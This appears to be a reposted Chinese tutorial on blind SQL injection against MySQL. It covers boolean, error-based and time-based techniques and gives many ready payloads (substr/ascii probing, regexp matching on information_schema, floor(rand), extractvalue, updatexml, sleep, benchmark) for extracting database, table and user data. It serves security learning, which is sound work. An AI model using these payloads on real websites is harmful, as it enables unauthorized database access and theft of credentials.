MYSQL注入天書之盲注講解


Background-2 盲注的講解

何為盲注?盲注就是在sql注入過程中,sql語句執行的選擇后,選擇的數據不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。從background-1中,我們可以知道盲注分為三類

•基於布爾SQL盲注

•基於時間的SQL盲注

•基於報錯的SQL盲注

Ps:知識點太多了,這里只能簡單列出來大致講解一下。(ps:每當看到前輩的奇淫技巧的payload時,能想象到我內心的喜悅么?我真的想細細的寫寫這一塊,但是不知道該怎么寫或者小伙伴需要怎么樣來講這個,可以m我。)

1:基於布爾SQL盲注----------構造邏輯判斷

我們可以利用邏輯判斷進行

截取字符串相關函數解析http://www.cnblogs.com/lcamry/p/5504374.html(這個還是要看下)

 

▲left(database(),1)>'s'             //left()函數

Explain:database()顯示數據庫名稱,left(a,b)從左側截取a的前b位

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //substr()函數,ascii()函數

Explain:substr(a,b,c)從b位置開始,截取字符串a的c長度。Ascii()將某個字符轉換為ascii值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23               //ORD()函數,MID()函數

Explain:mid(a,b,c)從位置b開始,截取a字符串的c位

Ord()函數同ascii(),將字符轉為ascii值

▲regexp正則注入

正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html

用法介紹:select user() regexp '^[a-z]';

Explain:正則表達式的用法,user()結果為root,regexp為匹配root的正則表達式。

第二位可以用select user() regexp '^ro'來進行。

當正確的時候顯示結果為1,不正確的時候顯示結果為0.

示例介紹:

I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

IIselect * from users where id=1 and 1=(user() regexp'^ri');

通過if語句的條件判斷,返回一些條件句,比如if等構造一個判斷。根據返回結果是否等於0或者1進行判斷。

IIIselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

這里利用select構造了一個判斷語句。我們只需要更換regexp表達式即可

'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE

如何知道匹配結束了?這里大部分根據一般的命名方式(經驗)就可以判斷。但是如何你在無法判斷的情況下,可以用table_name regexp '^username$'來進行判斷。^是從開頭進行匹配,$是從結尾開始判斷。更多的語法可以參考mysql使用手冊進行了解。

好,這里思考一個問題?table_name有好幾個,我們只得到了一個user,如何知道其他的?

這里可能會有人認為使用limit 0,1改為limit 1,1。

但是這種做法是錯誤的,limit作用在前面的select語句中,而不是regexp。那我們該如何選擇。其實在regexp中我們是取匹配table_name中的內容,只要table_name中有的內容,我們用regexp都能夠匹配到。因此上述語句不僅僅可以選擇user,還可以匹配其他項。

▲like匹配注入

和上述的正則類似,mysql在匹配的時候我們可以用ike進行匹配。

用法:select user() like 'ro%'

 

2:基於報錯的SQL盲注------構造payload讓信息通過錯誤提示回顯出來

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;  

//explain:此處有三個點,一是需要concat計數,二是floor,取得0 or 1,進行數據的重復,三是group by進行分組,但具體原理解釋不是很通,大致原理為分組后數據計數時重復造成的錯誤。也有解釋為mysql 的bug 的問題。但是此處需要將rand(0),rand()需要多試幾次才行。

以上語句可以簡化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果關鍵的表被禁用了,可以使用這種形式

 select count(*) from (select 1 union select null union 

select !1) group by concat(version(),floor(rand(0)*2)) 

如果rand被禁用了可以使用用戶變量來報錯

 select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

 

▲select exp(~(select * FROM(SELECT USER())a))         //double數值類型超出范圍

  //Exp()為以e為底的對數函數;版本在5.5.5及其以上

可以參考exp報錯文章:http://www.cnblogs.com/lcamry/articles/5509124.html

▲select !(select * from (select user())x) -(ps:這是減號) ~0  

 //bigint超出范圍;~0是對0逐位取反,很大的版本在5.5.5及其以上

可以參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

▲extractvalue(1,concat(0x7e,(select @@version),0x7e))  se//mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤

▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql重復特性,此處重復了version,所以報錯。

3:基於時間的SQL盲注----------延時注入

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  //if判斷語句,條件為假,執行sleep

Ps:遇到以下這種利用sleep()延時注入語句
			
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
該語句意思是在0-9之間找版本號的第一位。但是在我們實際滲透過程中,這種用法是不可取的,因為時間會有網速等其他因素的影響,所以會影響結果的判斷。 

 

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

   //BENCHMARK(count,expr)用於測試函數的性能,參數一為次數,二為要執行的表達式。可以讓函數執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執行成功。這是一種邊信道攻擊,在運行過程中占用大量的cpu資源。推薦使用sleep()

函數進行注入。

此處配置一張《白帽子講安全》圖片

Mysql

BENCHMARK(100000,MD5(1))  or sleep(5)

Postgresql

PG_SLEEP(5)   OR GENERATE_SERIES(1,10000)

Ms sql server

WAITFOR DELAY '0:0:5'


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM